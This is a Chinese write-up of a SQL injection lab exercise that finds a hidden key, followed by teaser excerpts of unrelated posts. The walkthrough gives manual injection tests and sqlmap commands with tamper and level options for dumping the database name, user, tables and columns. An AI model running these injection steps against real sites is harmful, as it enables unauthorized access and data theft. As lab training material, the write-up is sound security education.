這是墨者學院乙個sql注入漏洞靶場： 【目的是尋找key】
從這個網頁提示資訊我們也可以窺視出一些東西：
它使用的資料庫型別是mysql
key的值就儲存於變數裡面（很可能key值就是我們苦苦尋找的flag，那肯定是儲存在資料庫裡面的）
先對其進行手工注入：你們懂得就是 在url後面分別新增and 1=1 和 and 1=2，看兩次返回結果是不是一樣，不一樣說明存在注入漏洞。不知道為啥我的兩次返回介面都是空白的。
鑑於這種型別的url存在注入可能性很大，那必然得用sqlmap跑一跑吶，不放過任何機會。
測試注入：sqlmap -u
結果如下：
sqlmap返回資訊顯示：引數 id 可能不存在注入，可以嘗試增加嘗試等級（level），或者增加執行測試的風險（risk）。如果你覺得存在某種保護機制，可以使用tamper篡改注入資料。
根據上面提示資訊我們增加level和tamper：sqlmap -u --level=3 --tamper=base64encode
接下來就是常規拖庫操作了：
先查一下資料庫名：sqlmap -u --level=3 --tamper=base64encode --current-db
【顯示資料庫名是test】
在查一下當前使用者：sqlmap -u --tamper=base64encode --level=3 --current-user
【顯示當前使用者是admin(許可權等級挺高，有戲)】
查一下資料庫test中有哪些表：sqlmap -u --tamper=base64encode --level=3 -d test --tables
【結果只有乙個表：data】
查一下data表中有幾列：sqlmap -u --tamper=base64encode --level=3 -d test -t data --columns
【結果顯示有4列】
從上表中我們可以很清楚就看到thekey所在列的值就是我們苦苦追尋的flag，所以最後一步就是查詢thekey的值：
到此我們成功獲取key。
一次sql server實戰
前言 朋友在做授權專案的時候，遇到乙個sql server資料庫的注入點，沒辦法解決，讓我幫忙看看，因為是授權專案，所以就可以幫助測試下。內容如下 單引號，很明顯的錯誤，因為是時間格式 2020 6 2，所以這裡肯定是字元型的。接著測試 還是語法錯誤，那麼可能因為有括號的原因，接著測試 這裡出現了關...
第一次實戰shell
引用於網路 前言 shell指令碼相關語法位元組也是通過網路上的簡單教程去看了一遍，學習一種新的語言，以任務為導向的實戰才是硬道理！這裡我們再linux下面我們會有一些經常需要反覆操作的命令，這個時候我們就可以把這些常用的命令整合到指令碼中，當你需要用的時候，只需要執行下指令碼便可以完成！自己也深刻...
記錄一次dubbo專案實戰
存在2個系統，a系統和b系統，a系統呼叫b系統的介面獲取資料，用於查詢使用者列表。安裝zookeeper，解壓 zookeeper 3.4.8.tar.gz 得到如下 該目錄為存放資料的目錄。然後啟動，在bin目錄下 1.匯入依賴 org.springframework spring webmvc ...